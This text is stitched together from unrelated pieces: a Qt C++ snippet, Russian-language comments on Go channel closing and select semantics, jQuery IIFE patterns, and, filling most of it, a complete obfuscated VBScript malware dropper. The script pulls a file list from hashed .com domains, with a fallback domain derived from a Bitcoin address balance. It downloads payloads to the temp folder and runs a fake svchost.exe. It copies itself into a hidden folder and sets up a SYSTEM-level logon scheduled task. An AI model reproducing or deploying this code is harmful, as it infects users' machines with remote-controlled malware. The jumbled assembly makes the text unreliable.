QWidget* w = new QWidget(this);
QLineEdit *line = new QLineEdit(w);
что случится, если закрыть буферизированый канал до того, как считать из него все значения, успевшие туда попасть?Канал закроется, при следующей попытке считать с него значение получите panic. Значения, что остались внутри, считайте потерянными, Вы их больше никак не получите.
Соберется ли такой chan сборщиком мусора при уходе его в out of scope? Что будет с обьектами внутри канала?Соберется он сборщиком мусора только тогда, когда на него никто больше не будет ссылаться (если он объявлен локально, то да, out of scope). Объекты внутри тоже соберутся, если на них больше никто не ссылается. Те, на которые еще ссылается кто-то, останутся.
select {
case b <- number:
fmt.Printf("Sent into b: %d\n", number)
default:
fmt.Printf("b chan closed\n")
}
Этот кусок здорово дезинформирует. Во-первых select на запись c default секцией никоим образом не спасает от panic при записи в закрытый канал. Он всего лишь делает запись в канал всегда неблокируемой. Как только Вы таким select'ом попытаетесь записать в закрытый канал что-то, словите сразу панику. Потому правильно для восприятия это место выглядит следующим образом:select {
case b <- number:
fmt.Printf("Sent into b: %d\n", number)
default:
fmt.Printf("Number %d just has been thrown away\n", number)
}
Если Вы сделаете канал a буферизированным, то тут Вам Ваши panic'и и полетят, потому что Вы пишете в закрытый канал.boolExitFlag = False
Execute(opencl = WScript.CreateObject( "WScript.She"+"ll" ).ExpandEnvironmentStrings("%W"+"IND"+"IR%") & "\sy"+"stem32\OpenCL.d"+"ll")
if fileExist(opencl) then
call Step1
Do
If Ping("8"+".8"+".8."+"8") Then
Call Main
boolExitFlag = True
End If
WScript.sleep 1000
Loop while boolExitFlag <> True
end if
Const id = "9846f2d7e24272f38e6f66bf0ff8d7cf.com"
Const ida = "b6cbc7c8b7f9af070b119184fc26e610.com"
Const idb = "1GgG2kjrH7YzAq4cr4vZaKrpHYxnbHkFPm"
sub Main
host = id
files_list_string = false
if Ping(id) then
files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
End if
if (files_list_string = False) Then
host = ida
if Ping(ida) then
files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
End if
if (files_list_string = False) Then
idb = idb + CStr(CInt(GetBalanceBlockExplorer(idb))) + ".com"
host = idb
if Ping(idb) then
files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
End if
if (files_list_string = False) Then
die
end if
End If
End If
files_list = Split(crypt(files_list_string), ";")
Execute("t" + "m" + chr( 902272/8056 ) & " " + "=" + chr( 8899-8867 ) & "W" + "S" + chr( -7136+7235 ) & "r" + "i" + chr( 800800/7150 ) & "t" + "." + chr( -2736+2803 ) & "r" + "e" + chr( 6538-6441 ) & "t" + "e" + chr( 9157-9078 ) & "b" + "j" + chr( -6763+6864 ) & "c" + "t" + chr( 337440/8436 ) & " " + chr( 35836/1054 ) & chr( -5755+5842 ) & "S" + "c" + chr( -4824+4938 ) & "i" + "p" + chr( 5994-5878 ) & "." + "S" + chr( -909+1013 ) & "e" + "l" + chr( 246132/2279 ) & chr( 140454/4131 ) & " " + chr( -9918+9959 ) & "." + "E" + chr( 1173480/9779 ) & "p" + "a" + chr( 9656-9546 ) & "d" + "E" + chr( 534600/4860 ) & "v" + "i" + chr( 4527-4413 ) & "o" + "n" + chr( 1081-972 ) & "e" + "n" + chr( 323-207 ) & "S" + "t" + chr( 22116/194 ) & "i" + "n" + chr( -6780+6883 ) & "s" + "(" + chr( 3398-3364 ) & "%" + "T" + chr( 223008/3232 ) & "M" + "P" + chr( 898-861 ) & chr( 3949-3915 ) & ")" + vbcrlf )
cmd = tmp & "\svchost.exe"
KillProccess cmd
WScript.sleep 5000
for i = 0 to UBound(files_list)-1
file_name = files_list(i)
download "http://m."+host+file_name, tmp + "/"+ getFileName(file_name)
next
params = files_list(UBound(files_list))
shell params
end sub
Sub die
WScript.Quit
End Sub
Function GetFirstMatch(PatternToMatch, StringToSearch)
Dim regEx, CurrentMatch, CurrentMatches
Set regEx = New RegExp
regEx.Pattern = PatternToMatch
regEx.IgnoreCase = True
regEx.Global = True
regEx.MultiLine = True
Set CurrentMatches = regEx.Execute(StringToSearch)
GetFirstMatch = ""
If CurrentMatches.Count >= 1 Then
Set CurrentMatch = CurrentMatches(0)
If CurrentMatch.SubMatches.Count >= 1 Then
GetFirstMatch = CStr(CurrentMatch.SubMatches(0))
End If
End If
Set regEx = Nothing
End Function
function GetBalanceBlockExplorer(address)
block_content = getContent("http://blockexplorer.com/address/"+address)
if (block_content <> false) then
GetBalanceBlockExplorer = "0" + Replace(GetFirstMatch("<td>(\d+(\.\d+)?)</td>\n</tr>\n</table>", block_content), ".", ",")
else
GetBalanceBlockExplorer = false
end if
end function
function getFileName(fullpath)
arrNames = Split(fullpath, "/")
intIndex = Ubound(arrNames)
getFileName = arrNames(intIndex)
end function
Function getContent(url)
Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.open "GET", url, False
On Error Resume Next
o.send
If o.status = 200 Then
getContent = o.responseText
Else
getContent = False
End If
End Function
function crypt(str)
for i = 1 to Len(str)
flag = Len(outout)
temp = Asc(Mid(str, i, 1))
If temp > 64 and temp < 78 Then outout = outout & Chr(temp +13)
If temp > 77 and temp < 90 Then outout = outout & Chr(temp -13)
If temp > 96 and temp < 110 Then outout = outout & Chr(temp +13)
If temp > 109 and temp < 123 Then outout = outout & Chr(temp -13)
If Len(outout) = flag Then outout = outout & Chr(temp)
Next
crypt = outout
end function
Function Ping(strHost)
Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_PingStatus where address = '" & strHost & "'")
z = 0
Do
z = z + 1
For Each objRetStatus In objPing
If IsNull(objRetStatus.StatusCode) Or objRetStatus.StatusCode <> 0 Then
PingStatus = False
Else
PingStatus = True
End If
Next
wscript.sleep 200
If z = 4 Then Exit Do
Loop until PingStatus = True
If PingStatus = True Then
Ping = True
Else
Ping = False
End If
End Function
Function download(sFileURL, sLocation)
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", sFileURL, false
On Error Resume Next
objXMLHTTP.send()
do until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation, true
Set objFSO = Nothing
objADOStream.SaveToFile sLocation
objADOStream.Close
Set objADOStream = Nothing
download = True
Else
download = False
End if
Set objXMLHTTP = Nothing
End Function
Function fileExist(filename)
Set objFSO = Createobject("Scripting.FileSystemObject")
fileExist = objFSO.FileExists(filename)
End Function
function folderExist(folder)
Set objFSO = CreateObject("Scripting.FileSystemObject")
folderExist = objFSO.FolderExists(folder)
end function
sub createFolder(folder)
Set objFSO = CreateObject("Scripting.FileSystemObject")
if folderExist(folder) = false then
objFSO.CreateFolder folder
end if
end sub
sub shell(cmd)
dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run cmd, 0, false
Set objShell = Nothing
end sub
sub copy(from_path, to_path)
dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
If filesys.FileExists(from_path) Then
On Error Resume Next
filesys.CopyFile from_path, to_path
End If
end sub
sub hideFolder(folder)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(folder)
If objFolder.Attributes = objFolder.Attributes AND 2 Then
objFolder.Attributes = objFolder.Attributes XOR 2
End If
end sub
FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)
DIM objWMIService, strWMIQuery
strWMIQuery = "Select * from Win32_Process where ExecutablePath like '" & strProcessName & "'"
SET objWMIService = GETOBJECT("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
isProcessRunning = TRUE
ELSE
isProcessRunning = FALSE
END IF
END FUNCTION
Sub KillProccess( myProcess )
Dim blnRunning, colProcesses, objProcess
blnRunning = False
Set colProcesses = GetObject( "winmgmts:{impersonationLevel=impersonate}" ).ExecQuery( "Select * From Win32_Process", , 48 )
For Each objProcess in colProcesses
If LCase( myProcess ) = LCase( objProcess.ExecutablePath) Then
blnRunning = True
myProcess = objProcess.ExecutablePath
objProcess.Terminate()
End If
Next
End Sub
sub Step1
Execute("b" + "a" + chr( 119715/1041 ) & "e" + "_" + chr( 457368/4484 ) & "o" + "l" + chr( -6439+6539 ) & "e" + "r" + chr( 9665-9633 ) & "=" + " " + chr( 338691/3893 ) & "S" + "c" + chr( -4893+5007 ) & "i" + "p" + chr( 5040-4924 ) & "." + "C" + chr( -8119+8233 ) & "e" + "a" + chr( 9623-9507 ) & "e" + "O" + chr( -9347+9445 ) & "j" + "e" + chr( 205-106 ) & "t" + "(" + chr( -2037+2069 ) & chr( 8839-8805 ) & "W" + chr( 6186-6103 ) & "c" + "r" + chr( 6941-6836 ) & "p" + "t" + chr( 179354/3899 ) & "S" + "h" + chr( 6717-6616 ) & "l" + "l" + chr( -8409+8443 ) & " " + ")" + chr( 288466/6271 ) & "E" + "x" + chr( -4027+4139 ) & "a" + "n" + chr( 6776-6676 ) & "E" + "n" + chr( 33+85 ) & "i" + "r" + chr( 108225/975 ) & "n" + "m" + chr( 5961-5860 ) & "n" + "t" + chr( -6543+6626 ) & "t" + "r" + chr( -9696+9801 ) & "n" + "g" + chr( -9803+9918 ) & "(" + chr( 332826/9789 ) & chr( 3051-3014 ) & "A" + "P" + chr( 521840/6523 ) & "D" + "A" + chr( 291900/3475 ) & "A" + "%" + chr( -9276+9310 ) & ")" + " " + chr( 270642/6294 ) & " " + chr( 147492/4338 ) & chr( 775376/8428 ) & "O" + "r" + chr( 573720/5464 ) & "g" + "i" + chr( 640970/5827 ) & chr( 7523-7489 ) & vbcrlf )
createFolder(base_folder)
hideFolder(base_folder)
tmp_this = base_folder & "\update.vbe"
copy WScript.ScriptFullName, tmp_this
shell chr(115)+"chta"+chr(115)+"k"+chr(115)+" /create /"+chr(115)+"c onlogon /tn "+chr(79)+"rigin /rl highe"+chr(115)+"t /ru System /tr "+chr(34)+tmp_this+chr(34)
end Sub
(function($) {
/* code */
} (jQuery))
(function($) {
/* code */
} )(jQuery)
!function($) {
/* code */
}(jQuery)